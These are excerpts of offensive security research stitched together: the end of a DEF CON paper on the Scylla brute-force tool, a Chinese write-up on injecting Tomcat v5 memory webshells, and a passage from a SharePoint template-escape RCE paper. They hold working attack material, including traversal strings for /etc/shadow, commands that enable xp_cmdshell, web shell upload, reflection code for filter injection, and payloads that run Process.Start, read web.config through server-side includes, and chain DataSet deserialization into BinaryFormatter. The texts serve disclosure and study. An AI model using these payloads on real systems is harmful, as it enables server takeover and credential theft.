(list, upload, make directory, delete file and remove directory).  Basic Directory Transversal hacks o /../../../../../../etc/shadow o \..\..\..\..\..\..\config.sys Terminal Pre-Hacks:  If a user is blocked, gets the maximum number of tries until a user gets blocked (numTries) and for the next user just tries numTries passwords.  Process “connection limit” answers and wait 20 milliseconds until next try.  Process MSTelnetd when user+password are correct but the user isn’t in the TelnetClients group.  SSH2 – Get and Set supported ciphers Hack: Built from scratch SSH brute force module, implemented as fast as possible in the login process (C++), Telnet, Telnets. More servers supported (this makes it a bit slower…). Post-Hacks:  Fetch CD response.  Fetch SUDO capabilities response.  Ncat (or putty) integration  Fetch /etc/shadow and /etc/passwd POP3 Pre-Hacks:  Verify authentication types supported by server  Verify if APOP authentication is available (and use it if so) Hack: POP3, POP3S, Auth-login, Auth-plan Auth-md5 Post-Hacks:  Retrieve first 10 e-mail headers  Get number of messages in the account  Get e-mail addresses used in mails received SMTP Pre-Hacks:  VRFY brute force pre-attack (tries to get only valid users)  Anonymous login  Verify authentication types supported by server Hack: SMTP, SMTPS, Auth-login, Auth-plan Auth-md5 Post-Hacks:  Try sending a mail to root  Mail relay (tries to send from [[email protected] and attacker@ specified_IP_or_URL] to [Your_mail@any_domain.com and pick_a_mail@specified_IP_or_URL]) MSSQL: MSSQL has 2 modalities: FastAttack (really fast, raw brute force) and Normal (Using SQLClient). The difference is that SQLClient is safer, it has a better error management and has more pre-hacks making it a bit more intelligent; use it to avoid blocking accounts or stuff like that. Also, most post-hacks use SQLClient. If a hack is available only for SQLClient it would be marked as SC. Pre-Hacks:  SC: If a password must be changed it prompts a dialog for you to change it if you want.  SC: If max users connection limit reached, wait 100 ms until next try (with the same thread).  SC: If User+Password found but there is an error. Marks the user+password as found and displays the error.  SC: If user is blocked, tries for next user.  SC: Test for SSPI (actual Windows user authentication)  SC: Specify System version type (SQLServer 2k, 2k5, 2k8 or lastest)  SC: Specify Local Machine Name  SC: Specify database to connect  Try SA user with null password Hacks: SQLClient and raw brute force. SSL Support. Post-Hacks:  Open UI for command execution. Opens a basic GUI to execute commands. Saves the command log in the Report Database (see report section). If don’t have enough permissions to execute commands, it tries to hack it using: sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE  One click ownage hack. Execute any payload you define (default is TX shell), just as specified in http://ferruh.mavituna.com/papers/oneclickownage.pdf.  Show Databases the user can access  Fetch Users Info, including: Usernames, SID, Password Hash, Creation date, is disabled and default database name.  Open Scylla DB Browser MySQL (MySQUAL in honor to SENA, Colombia xD) This module uses MySQL.Data.dll or ODBC (no support available) to connect to the remote host. A “raw” and faster version will be also implemented with limited pre-hacks. Pre-Hacks:  If max users connection limit reached, wait 100 ms until next try (with the same thread).  If received message "password to long must be hex", just try the passwords that meet: passLen LESSOREQUALTHAN #password(length received in the error) AND !password.haveDigits  Just try passwords of less than 16 characters (mysql don’t support more)  If want to use SSL certificates or a special SSL cipher connection, it would use ODBC with the specified options. Also, an auto-signed certificate is provided. Hacks: SSL support, specially crafted SSL configuration, certificate based SSL Post-Hacks:  Fetch databases that can be accessed by the user.  Fetch users profile, including: Host, User name, Password hash, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv.  If there is a http server, try to upload a web based PHP shell to it (A specially basic auto-destroyable shell, or the famous C99).  Execute server commands (via UDF)  Open Scylla DB Browser DB2 Pre-Hacks:  Obtain DAS information (server database access profile)  - User-ID auth only - brute force  Fetch EXCSAT and other packet responses (used to Auto Configure the Hack phase and give additional info to the user).  Host less than 18 characters accepted Hack: SSL support (if applicable), encrypted auth. Post-Hacks:  List all tables (list tables for all)  List tables for specific users (select name, creator from systables order by name)  Security policies check (select * from syssecuritypolicies)  Audit policies check (select * from sysauditpolicies)  Fetch Roles and Role authorizations  Fetch for users authorizations (select grantee, tableschema, tablename from sysuserauth)  Fetch users and users privileges ORACLE This module uses Ora.Net provider for database connection. TNSListener module is built as a partner of Oracle module. Pre-Hacks  Fetch SID  SID Brute force  TNS version detection  Allow the user to specify a SID (obligatory if no SID could be fetched or guessed, if no, Scylla would use ORCL)  Try to use over 500 default users-passwords before the real brute force  Fetch Blocked accounts Hack: If user must connect as SYSOPER or SYSDBA, tell the user and append SYSDBA to the connection string for post-hacks. Post-Hacks:  Fetch usernames and user information  Fetch users access dates  Fetch new and old password hashes  Fetch database names the user can see  Fetch Policies  Fetch Roles and Role information  Fetch Links (useful to find clear-text passwords and other interesting info)  Open Scylla DB Browser SMB The trick here is using the windows API that is actually faster than SAMBA. This module is not just about SMB, but windows RPC. Pre-Hacks:  Try for null or anonymous sessions.  Try to fetch password policy and adjust the hack phase settings to avoid blocking users and stuff like that.  If operating system just accepts LM authentication, remove all password of length greater than 14 from the password list. Hack: NT, LM, NTLMv2, all what WNetAddConnection3 supports Post-Hacks:  fgDump wrapper (get password hashes)  Fetch Users  Fetch groups (relation user-groups relation)  Fetch OS Version  Fetch RPC Binds  Fetch network Adapters  Fetch Disks and shares  Fetch active sessions  Fetch Event log  System Date and Time  Fetch patch level  Via Active directory:  GetShares (directories)  GetGroups  Get Operating system version  Get Users HTTP This module is a bit different; it is divided into three sub-modules: HTTP-Basic Auth: Where the only real pre-hack is to fetch the authentication type supported in basic-auth module (and auto-configure brute force hack depending in it). It supports Digest (using MD5) and basic auth. HTTP-Form: This is like other brute-forcers but it is a bit more intuitive. For the next release (hope for this one) a new Charybdis module will be built to auto- configure brute force parameters depending on user navigation. HTTP-Dir/File Brute Force: Tries to find hidden directories/files based on brute force. Also, this module maps the entire webpage to find its entire structure, based on HEAD commands for brute force and GET for web mapping. The 3xx response, searches in the location parameter. A bit of an intelligent modification, it doesn’t show the user an apparently found file (from web mapping) if it doesn’t receive a 200 or 403 response. It cuts down on the number of false positives and, like every Scylla module, “error proof”. Postgres This module uses NPgsql.dll. Pre-Hacks: Try admin-admin user-password combination Hacks: SSL support, crypt, password, md5 and others supported by NPgsql.dll Post-Hacks:  Fetch databases that can be accessed by the user.  Fetch user’s profile (pg_shadow, pg_user, pg_group, etc.)  Open Scylla DB Browser LDAP Ldap Query tool Pre-Hacks: Try null password Try Anonymous Auth Hacks: SSL support Post-Hacks:  Fetch Users info  Fetch Groups  Fetch Computer info DNS Snooping Pre-Hacks:  Try to see if the server is vulnerable by querying the server for common names Hacks: SSL support Post-Hacks:  Fetch Answers  Fetch Name Servers  Fetch Additional info  Determine if it’s an authoritative server Report Module Every result the modules throw are stored in a SQLCE database, so your session information won’t get lost. A report viewer was built so you can see the information easily. THE FUTURE This took eight months of work, just for DEF CON 20. Now try to imagine the future of this tool. We will work, primarily to try to make it faster and more accurate. There are other modules planed like SVN, CVS, RSH, RDP, and more. And at last we will be adding hacks, tons of hacks, we’ll try to make it a more complete tool of this kind. There are also plans to synchronize Scylla with other tools like MSF and Nessus. Our principal objective is to give as most capabilities to the users, and still be a “hacker- oriented” tool. We are conscious that there is no “wonder tool for everything” and that real hacking is more of a manual process, and that all we need is information, and possibly direction. CONCLUSION Perhaps I’m not the best qualified person to be writing something here, you have the documentation and you can try this tool, so you can make your own conclusions. There is one last thing to be said: I’m not intending to say that other tools are “worse” (they might be better than Scylla) just that maybe I got more free time. Every referenced tool here is a master piece (If you have got some time you should please check them out.), I thank the authors for building them and give people like me tools to work, and even better, Inspiration! You could be sure of something… There is more coming soon! More pics :D Scylla DBBrowser over MSSQL Advanced List Options FTP Report Module Scylla main GUI MSSQL Advanced options Nmap Wrapper FSH over MSSQL
pdf
背景说明 Tomcat v5 的⽂档中 Class Loader Definitions 部分存在⼀段区别于 tomcat v6/7/8/9 的⼀段定义 https://tomcat.apache.org/tomcat-5.5-doc/class-loader-howto.html $CATALINA_HOME/server/lib/catalina.jar 由ClassLoader catalinaLoader 进⾏加载,⽽且该 由该Class Loader加载的类和资源对 web application 不可⻅。 附:Tomcat v6 $CATALINA_HOME/server/lib 的 Class Loader 定义 https://tomcat.apache.org/tomcat-6.0-doc/class-loader-howto.html $CATALINA_HOME/server/lib/catalina.jar -> visible Q: 这部分差异会给实战带来什么问题呢? A: 由于位于 $CATALINA_HOME/server/lib 下的类对 web app 不可⻅,意味着 web app 的线程上 下⽂类加载器⽆法加载到 catalina.jar 中的类, 如 org.apache.catalina.deploy.FilterDef 等, 所以会抛出 ClassNotFound 异常, 从⽽导致内存⻢注⼊失败。 问题重现 攻防中,在注⼊ Filter 型内存⻢时为了减少编译时的依赖,通常会使⽤下⾯的代码⽚段来反射来加载相关 类 这段代码在 tomcat v6/7/8/9 上基本满⾜需求,但是当⽬标是 Tomcat v5 时,会抛出异常: ClassNotFound 如图 因为此时加载⽬标类的 ClassLoader 不是 catalinaLoader 。 解决⽅案 Class.forName 作为⼀个⽤来加载类的静态⽅法,共有两种⽅式: Class.forName(String className) Class.forName(String name, boolean initialize, ClassLoader loader) 使⽤第⼀种时,默认 loader 的值为当前类的类加载器,⽽不是 catalinaLoader ,⾃然⽆法成功加载。 try{ // tomcat v8/9  filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();  filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance(); }catch (Exception e){ // tomcat v6/7  filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();  filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance(); } 解决思路 调⽤ Class.forName() 进⾏加载类时指定 loader 为 catalinaLoader 即可 问题转变成了如何获取 catalinaLoader 。 解决思路 既然 web app 线程的上下⽂类加载器不⾏,那么只需要在 tomcat 的其他线程⾥找到 catalinaLoader 即可 遍历线程,成功在 ContainerBackgroundProcessor 线程⾥找到了符合预期的 ClassLoader, 其 URLClassPath 定义⾥有所需要的 catalina.jar 。 如图 问题解决了 80%,成功加载到 FilterDef 如图 Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader) Class.forName("org.apache.catalina.deploy.FilterDef", true, threads[32].getContextClassLoader()); 剩下 20% 只需要把遍历线程的的步骤⽤代码实现即可 成功加载到 FilterDef/FilterMap 测试效果:在 Tomcat v5 注⼊内存⻢ Method method = Thread.class.getDeclaredMethod("getThreads"); method.setAccessible(true); Thread[] threads = (Thread[]) method.invoke(null); for (int i = 0; i < threads.length; i++) {  // 适配 tomcat v5 的 Class Loader 问题  if (threads[i].getName().contains("ContainerBackgroundProcessor")) {    catalinaLoader = threads[i].getContextClassLoader();    return; } }
pdf
Room for Escape: Scribbling Outside the Lines of Template Security Oleksandr Mirosh​ ([email protected]) ​& Alvaro Muñoz​ ([email protected]) Abstract Now more than ever, digital communication and collaboration are essential to the modern human experience. People around the globe work together online as they share information, create documents, send emails, and collaborate on spreadsheets and presentations. Shared digital content is everywhere and networked communication platforms and software play a crucial role. Content Management Systems (CMS) allow the user to design, create, modify, and visualize dynamic content. For many companies, CMS platforms are pivotal to their content pipelines and workforce collaboration. In our research, we discovered multiple ways to achieve Remote Code Execution (RCE) on CMS platforms where users can create or modify templates for dynamic content. In today's multi-tenancy ecosystems, this often implies that a co-tenant on the same system can take over control of the CMS resources on which your organization relies. Using Microsoft Sharepoint and a variety of Java template engines as our main CMS attack surface, we combined implementation and design flaws with framework and language specific features to find more than twenty unique RCE vulnerabilities in Microsoft Sharepoint, Atlassian Confluence, Alfresco, Liferay, Crafter CMS, dotCMS, XWiki, Apache Ofbiz, and more. This paper presents our analysis of how these products and frameworks implement security controls and reviews techniques we used to bypass them. We describe all the vulnerabilities we uncovered in detail and show working demos of the most interesting attacks where unprivileged users can run arbitrary commands on SharePoint or Liferay servers. Finally, we present our general review methodologies for systems with dynamic content templates and provide practical recommendations to better protect them. Security Review of Microsoft SharePoint Server Introduction to SharePoint security Security review of Content Management Systems (CMS) where the user is able to design, create, modify, and visualize dynamic content is not a trivial task. There may be plenty of interesting and promising vectors for potential attacks. To show examples of such vectors, we decided to perform a review of one of the most widely used servers by enterprise customers – Microsoft SharePoint server. It is highly configurable, provides great flexibility, and has many available features that allows customers to use SharePoint as a solution for very different tasks (including CMS, document management, file hosting, or even bug tracking). On the other hand enabling such a variety of usages impacts on the security design and implementation of SharePoint that cannot be simple and satisfies requirements of all these uses at the same time. For a detailed review of SharePoint’s security design you can look at this documentation or this series of articles​. For our research, the most interesting security principle in SharePoint can be found ​here​: A fundamental assumption of the Windows SharePoint Services technology is that "untrusted users" can upload and create ASPX pages within the system on which Windows SharePoint Services is running. These users should be prevented from adding server-side code within ASPX pages, but there should be a list of approved controls that those untrusted users can use. One way to provide these controls is to create a Safe Controls list in the web.config file. Another important principle of SharePoint design for us – all content and configuration information is stored in SQL. In this context, we can divide ASPX pages of any SharePoint site into two types: 1. Application pages are stored in file directories and processed by the Web Server as regular unrestricted ASPX files. Each of these pages is part of SharePoint server and implements some application logic. Users are not able to modify them. 2. Site pages are customized pages that are saved in the content database. Users can customize them. They are parsed using safe mode processing that guarantees that there is no inline script, or other dangerous elements such as server-side includes from files system or unsafe page and control attributes. Also, customized pages can only have controls that are defined as safe in the ​web.config​ file’s ​SafeControls​ ​tag. To work with pages from the SQL database and from the files on the file system, SharePoint uses virtual provider ​SPVirtualPathProvider. For all site pages, the virtual provider reads content from the content database and passes it to the ASP.NET runtime. For all application pages, ​SPVirtualPathProvider ​goes to the directory, parses it, and then passes it to the ASP.NET runtime. To implement safe mode for site pages, ​SPVirtualPathProvider ​uses a page parser filter SPPageParserFilter​. // Microsoft.SharePoint.ApplicationRuntime.SPPageParserFilter protected​ ​override​ void Initialize​() { ​if​ ​(!​SPRequestModule​.​IsExcludedPath​(base.​VirtualPath​,​ ​false)) ​{ ​this.​_pageParserSettings ​= SPVirtualFile​.​GetEffectivePageParserSettings​(base.​VirtualPath​,​ ​out this.​_safeControls​,​ ​out​ ​this.​_cacheKey​,​ ​out​ ​this.​_isAppWeb​); ​this.​_safeModeDefaults ​=​ SafeModeSettings​.​SafeModeDefaults​; ​return; ​} ... ​this.​_exclusion ​=​ ​true; ​this.​_pageParserSettings ​=​ ​null; ​this.​_safeControls ​=​ ​null; } For example, if a page is taken from an excluded path on the file system, it is processed without restrictions. However if it is a site page from the content database, ​SPPageParserFilter applies safe mode restrictions. Usually it is no-compile mode without inline scripts and only SafeControls are allowed. We are not the first to raise the question about the security of site pages in SharePoint. In “​SharePoint Security and a Web Shell​” Liam Cleary is discovering what configurations should be made to SharePoint to execute arbitrary code in site pages. Recently, Soroush Dalili published a blog post “​A Security Review of SharePoint Site Pages​“ where he reviews main attack vectors and provides several new interesting attacks for unsafe non-default configurations. Along with unsafe non-default configurations of SharePoint server, most attacks described in both articles require compilation for the controlled page. This means that we should be in “non-restricted” mode before .NET starts processing the current page. Usually this is true for pages from the file system. If we take into account the SharePoint design principle that all content and configuration information is stored in a SQL database, bugs where an attacker can control files on the file system seem uncommon and are out of scope of our research. We were interested in finding ways to escape or bypass safe mode of site pages and focused only on the default SharePoint server configuration. As mentioned, the key element in SharePoint to filter dangerous content in site pages is SPPageParserFilter​. Obviously the SharePoint team spent a lot of resources on the secure implementation and testing of this component and therefore finding bugs in it is not an easy task. What if we could find places where ​SPPageParserFilter is not used? Let’s look closely at the second parameter for the ​TemplateControl.ParseControl()​ method: The ​ignoreParserFilter ​parameter allows the PageParserFilter class ​to be ignored​. The PageParserFilter class is used by the ASP.NET parser to determine whether an item is allowed in the page at parse time Note that if this method is called with only one parameter, the page parser filter is also ignored: // System.Web.UI.TemplateControl public Control ParseControl(string content) { return this.ParseControl(content, ​true​); } [Code Ref #1] There is another very important remark about this method: The ​content ​parameter contains a user control (the contents of an .ascx file). This string cannot contain any code, because the ​ParseControl method never causes compilation As a result, we cannot use inline code or other attacks that require compilation. Instead we can only use unsafe controls, attributes, or directives. A similar situation, where the page parser filter is ignored, can be observed during processing of ASPX markup in design mode (usually this is done by ​DesignTimeTemplateParser​). Take a look at how ​TemplateParser​ ​initializes the page parser filter: // System.Web.UI.TemplateParser internal PagesSection PagesConfig { get { return this._pagesConfig; } } // System.Web.UI.TemplateParser internal virtual void ProcessConfigSettings() { ... ​if (this.PagesConfig != null) { ... if (!this.flags[33554432]) { this._pageParserFilter = PageParserFilter.Create(this.PagesConfig, base.CurrentVirtualPath, this); } } } [Code Ref #2] The page parser filter is not created if ​_pagesConfig ​is ​null​, and this is true for processing in design mode: // System.Web.UI.TemplateParser internal virtual void PrepareParse() { ... if (!this.​FInDesigner​) { this._compConfig = MTConfigUtil.GetCompilationConfig(base.CurrentVirtualPath); this.​_pagesConfig​ = MTConfigUtil.GetPagesConfig(base.CurrentVirtualPath); } this.ProcessConfigSettings(); ... [Code Ref #2] We discovered several places where the SharePoint server uses the TemplateControl.ParseControl() method and ignores the page parser filter or where users can specify ASPX markup for processing in design mode, but in all these cases SharePoint verifies input by another method: EditingPageParser.VerifyControlOnSafeList(). This method is designed to perform the same tasks as ​SPPageParserFilter (block processing of dangerous controls or unsafe content), but in contrast to ​SPPageParserFilter​, it is more flexible and allows some verification to be disabled by its arguments. We will provide details of one of our vulnerabilities a bit later where ​VerifyControlOnSafeList() is called with an argument that allows us to use unsafe elements in our ASPX markup. Each bypass of safe mode restrictions in ​SPPageParserFilter or verification by VerifyControlOnSafeList() method is a separate vulnerability and we will show examples in the next section, but now let’s hold the assumption that we have already bypassed SPPageParserFilter or ​VerifyControlOnSafeList()​. What can be used for an arbitrary code execution attack that leads to a compromise of the target SharePoint server? We already mentioned that the ​ParseControl() method never causes compilation and we are not able to use server-side code or perform other attacks that require this compilation. However, we still are able to use unsafe controls or ASPX directives. The best example of such unsafe controls is ​ObjectDataSource​. ​It allows us to call ​an arbitrary public method​ of any ​desired public Type​. This is actually arbitrary code execution. Here is an example of a payload that launches a calculator: <asp:ObjectDataSource ID="DataSource1" runat="server" SelectMethod="​Start​" TypeName="​System.Diagnostics.Process​" > <SelectParameters> <asp:Parameter Name="fileName" DefaultValue="​calc​"/> </SelectParameters> </asp:ObjectDataSource> <asp:ListBox DataSourceID = "DataSource1" ID="LB1" runat="server" /> In addition to the “direct” arbitrary code execution vector, we can try to get the value of ValidationKey ​from the ​MachineKey ​section in the ​web.config file and use it for an unsafe deserialization attack by ViewState. More information about this attack can be found ​here and here​. We can use several different unsafe controls to read ​web.config​ on the target server: XmlDataSource​ control with ​DataFile​ attribute: <asp:XmlDataSource id="DataSource1" runat="server" XPath="​/configuration/system.web/machineKey​" DataFile="​/web.config​"/> <asp:TreeView DataSourceID = "DataSource1" ID="TV1" runat="server" > <databindings> <asp:treenodebinding datamember="machineKey" textfield="​validationKey​"/> </databindings> </asp:TreeView> Xml​ control with ​DocumentSource​ ​attribute: <asp:Xml runat="server" id="xml1" DocumentSource="​/web.config​"/> We can also use the ​Server-Side Include (SSI) directive​ to retrieve the ​web.config​ file content: <!--#include virtual="​/web.config​"--> or <!--#include file="​c:/inetpub/wwwroot/wss/virtualdirectories/80/web.config​"--> Now that we have basic knowledge about the security design of the SharePoint server and know how we can compromise it if safe mode for site pages is bypassed, we focus on the actual ways to bypass this safe mode in our next section. Breaking out of Safe Mode: SharePoint Edition To show multiple ways to achieve arbitrary code execution on CMS-like systems we use the SharePoint server as our target and present five different vulnerabilities to illustrate interesting types of security problems. All the attacks were performed by unprivileged users and enabled us to execute arbitrary code on the target and compromise the SharePoint server with a default configuration. All identified vulnerabilities were triaged through coordinated disclosure with their respective vendors. Access to sensitive server resources CVE-2020-0974 A sensitive piece of information is always a primary target for attackers. A sandbox, or other security controls, should prevent access to resources with sensitive configuration or business information. It can be files on the file system, logs, database tables, or even process memory. As mentioned, the contents of the ​web.config file on a SharePoint server should be considered a resource with highly sensitive information because it contains crypto keys that open doors for remote code execution attacks. The main parser filter in SharePoint ​SPPageParserFilter ​does not allow inclusion of server files in site pages. However, as previously mentioned, this filter is not used if ASPX markup is parsed in design mode. In this case, input is verified by the ​VerifyControlOnSafeList() method: // Microsoft.SharePoint.EditingPageParser i​nternal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes​ = false) { ... EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager); EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list​); if (​blockServerSideIncludes​ && ​list.Count​ > 0) { ULS.SendTraceTag(42059668u, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes"); ​throw new System.ArgumentException("Unsafe server-side includes", "dscXml")​; } ... If the ​blockServerSideIncludes ​argument is ​false​, there is no limitation on files in the server-side include directive. The SharePoint server used this unsafe value during validation of ASPX markup in design mode: // Microsoft.SharePoint.ServerWebApplication bool IServerWebApplication.CheckMarkupForSafeControls(string controlMarkup, RegisterDirectiveManager registerDirectiveManager) { if (this._spWeb != null) { EditingPageParser.VerifyControlOnSafeList(controlMarkup, registerDirectiveManager, this._spWeb, ​false​); return true; } return false; } We could obtain the content of the ​web.config ​file by using the next ASPX markup as the value of the ​webPartXml ​parameter in the ​RenderWebPartForEdit ​SOAP request of WebPartPagesWebService​: <%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version = 16.0.0.0, Culture = neutral, PublicKeyToken = 71e9bce111e9429c" %> <WebPartPages:DataFormWebPart runat = "server" Title = "Title" DisplayName = "Name" ID = "id1" > <xsl> ​<!--#include file="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config"--> </xsl> </WebPartPages:DataFormWebPart> After this attack, we obtained the value of ​ValidationKey ​from the ​MachineKey ​section and we successfully used it for a ViewState-based deserialization attack that gave us the ability to execute arbitrary OS commands on the SharePoint server. Abusing not-so-safe items from Allowlist CVE-2020-1147 In systems with a sandbox, there is a list of allowed or available elements. In some CMS systems such as SharePoint, this list can contain hundreds or thousands of elements or controls and it might be a good idea to review them by searching for any elements with potentially dangerous behavior. In SharePoint, the list of allowed controls is defined in the ​SafeControl ​section of the web.config file and is quite long so it probably contains some interesting items. We found one control that gave us RCE at the end of our attack: Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView​. ​It i​s marked as safe - the relevant line from the ​web.config​ file: ... <SafeControl Assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="​Microsoft.SharePoint.Portal.WebControls​" TypeName="​*​" /> ... The following is the dangerous code from the previously mentioned control: // Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView protected void PopulateDataSetFromCache(DataSet ds) { string ​value​ = SPRequestParameterUtility.GetValue<string>(this.Page.​Request​, "​__SUGGESTIONSCACHE__​", SPRequestParameterSource.​Form​); using (XmlTextReader xmlTextReader = new XmlTextReader(new System.IO.StringReader(​value​))) { xmlTextReader.DtdProcessing = DtdProcessing.Prohibit; ​ds.ReadXml​(xmlTextReader); ds.AcceptChanges(); } } This method takes a ​__SUGGESTIONSCACHE__ form parameter from the current HTTP Request and passes its value to the ​DataSet.ReadXml() ​method. Our attacker can control this parameter but we still have two open questions: (1) how can we reach this vulnerable method, and (2) how can we exploit this call of ​DataSet.ReadXml()​? Let’s try to answer the first question. ​PopulateDataSetFromCache()​ is called from: // Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView protected override DataSet GetDataSet() { base.StopProcessingRequestIfNotNeeded(); if (​!this.Page.IsPostBack​ || this.Hidden) { return null; } DataSet dataSet = new DataSet(); ... if (​this.IsInitialPostBack​) { this.PopulateDataSetFromSuggestions(dataSet); } else { this.​PopulateDataSetFromCache​(dataSet); } ... This method should process a ​PostBack ​request and the control should not be ​Hidden​. Also, the ​IsInitialPostBack​ property should be ​false​: // Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView protected bool IsInitialPostBack { get { return this.Page.IsPostBack && string.IsNullOrEmpty( SPRequestParameterUtility.GetValue<string>(this.Page.​Request​, "​__SUGGESTIONSCACHE__​", SPRequestParameterSource.​Form​)); } } This just means that our request should have the ​__SUGGESTIONSCACHE__ form parameter. Now let’s look at where the ​GetDataSet()​ method is invoked: // Microsoft.SharePoint.Portal.WebControls.PrivacyItemView protected override object GetQueryResults(object obj) { ... DataSet dataSet = this.GetDataSet(); ... // Microsoft.SharePoint.Portal.WebControls.DataResultBase protected override void OnPreRender(object sender, System.EventArgs e) { ... this.m_objQueryResults = this.GetQueryResults(this.m_objQueryHandle); ... // Microsoft.SharePoint.Portal.WebControls.QueryResultBase protected override void OnPreRender(object sender, System.EventArgs e) { ... base.OnPreRender(sender, e); } // Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView protected override void OnPreRender(object sender, System.EventArgs e) { base.OnPreRender(sender, e); ... Our target method can be invoked during the pre-rendering phase if it is ​PostBack and the request contains a ​__SUGGESTIONSCACHE__​ form parameter. Now let’s look at how we can exploit the ​DataSet.ReadXml() ​call if we can control its input. This method reads XML schema and data into the ​DataSet​. We can define ​DataTable ​with a column of any Type and if we provide a value for this column then the server uses XmlSerializer​ ​to deserialize the instance of this Type from its XML representation: // System.Data.Common.ObjectStorage public override object ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib) { ... XmlSerializer ​xmlSerializer​ = ObjectStorage.GetXmlSerializer(this.​DataType​, xmlAttrib); obj = ​xmlSerializer.Deserialize​(xmlReader); } return obj; } [Code Ref #3] As we described in ​one of our previous research papers​, ​XmlSerializer ​cannot be considered safe if an attacker can control Type. In this case, we can invoke an arbitrary public method (static or non-static) of arbitrary public Type with arbitrary arguments. There is an additional requirement: the “base” Type and all the arguments should be serializable by XmlSerializer but it is not a big problem and we can find many types and methods that allow us to get RCE. For example: //Microsoft.Office.Server.Internal.Charting.UI.WebControls.ImageListItemCollec tion public static ImageListItemCollection LoadFromBase64String(string base64string​) { byte[] ​buffer​ = Convert.FromBase64String(​base64string​); ImageListItemCollection result; using (MemoryStream ​memoryStream​ = new MemoryStream(​buffer​)) { BinaryFormatter binaryFormatter = new BinaryFormatter(); result = (ImageListItemCollection)​binaryFormatter.Deserialize​(memoryStream); } return result; } It uses unsafe deserialization (​BinaryFormatter​) of a controlled ​base64string ​value. The XML payload that invokes this method: <NewDataSet> ​<xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata"> <xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:UseCurrentLocale="true"> <xs:complexType> <xs:choice minOccurs="0" maxOccurs="unbounded"> <xs:element name="DS1"> <xs:complexType> <xs:sequence> <xs:element name="payload" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[​Microsoft.Of fice.Server.Internal.Charting.UI.WebControls.ImageListItemCollection​, Microsoft.Office.Server.Chart, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0" /> </xs:sequence> </xs:complexType> </xs:element> </xs:choice> </xs:complexType> </xs:element> </xs:schema> <DS1> <payload xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" > ​<ProjectedProperty0> <MethodName>​LoadFromBase64String​</MethodName> <MethodParameters> <anyType xsi:type="xsd:string">​{Base64_BinarryFormatter_Payload}​</anyType> </MethodParameters> <ObjectInstance xsi:type="ArrayOfImageListItem"></ObjectInstance> </ProjectedProperty0> </payload> </DS1> </NewDataSet> For our RCE attack, we can use the following ASPX page: <%@ Page Language="C#" %> <%@ Register tagprefix="mst" namespace="Microsoft.SharePoint.Portal.WebControls" assembly="Microsoft.SharePoint.Portal, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> <form id="form1" runat="server"> <mst:​ContactLinksSuggestionsMicroView​ id="CLSMW1" runat="server" /> <asp:TextBox ID="​__SUGGESTIONSCACHE__​" runat="server"></asp:TextBox> <asp:Button ID="Button1" runat="server" Text="Submit" /> </form> For an RCE attack, we need to generate a ​BinaryFormatter ​payload with the desired commands (for example by using the ​YSoSerial.Net tool​), put it into our XML payload, place the entire payload in ​TextBox​, ​and then click the ​Submit​ ​button on our site page. Abusing nested properties/attributes Usually when CMS systems use user-defined templates or markup for content visualization and for the dynamic content, they allow access to some properties or attributes of specific objects. In most cases, users can get the values of these properties or attributes and include them into generated content. For some CMS systems, such as SharePoint, users might be able to assign their own values to these properties or attributes. Since any application can have objects with properties that have sensitive information, the CMS should filter out the access to such dangerous properties or attributes. This filter forbids access to dangerous objects and/or properties. If a system works only with one level of properties/attributes developers can verify that the list of such properties does not contain unsafe items relatively easily. However, many systems also support nested properties and it makes this type of validation very difficult as relationships between nested properties do not have a strict hierarchy – for example the ​Parent ​property can give us access to the upper level. As a result, an attacker can build a path to the properties that has a security impact on the server or application. The attacker might modify this information if granted write access or with read access gain sensitive information for further attacks. Generally abusing read access is harder, and attackers might have additional problems compared to abusing write access, for example, they may need to find a way to get the obtained value back from the target server. However, we were able to achieve arbitrary code execution in the SharePoint server for both cases: by abusing read and write access. Abusing write access to nested properties in SharePoint CVE-2020-1069 ASPX markup supports setting values of nested properties. It might be called “​subproperties​” and we can use any number of intermediate nested properties as long as they are public. For the final property, whose value we are modifying, in addition to the public setter it should not be marked by the ​DesignerSerializationVisibility.Hidden​ attribute. We mentioned that the key component for safe mode of site pages is ​SPPageParserFilter​, which decides what restrictions to apply based on the value of ​VirtualPath​. ​If we can change this value, we can fool the page parser filter so that it does not apply any restrictions 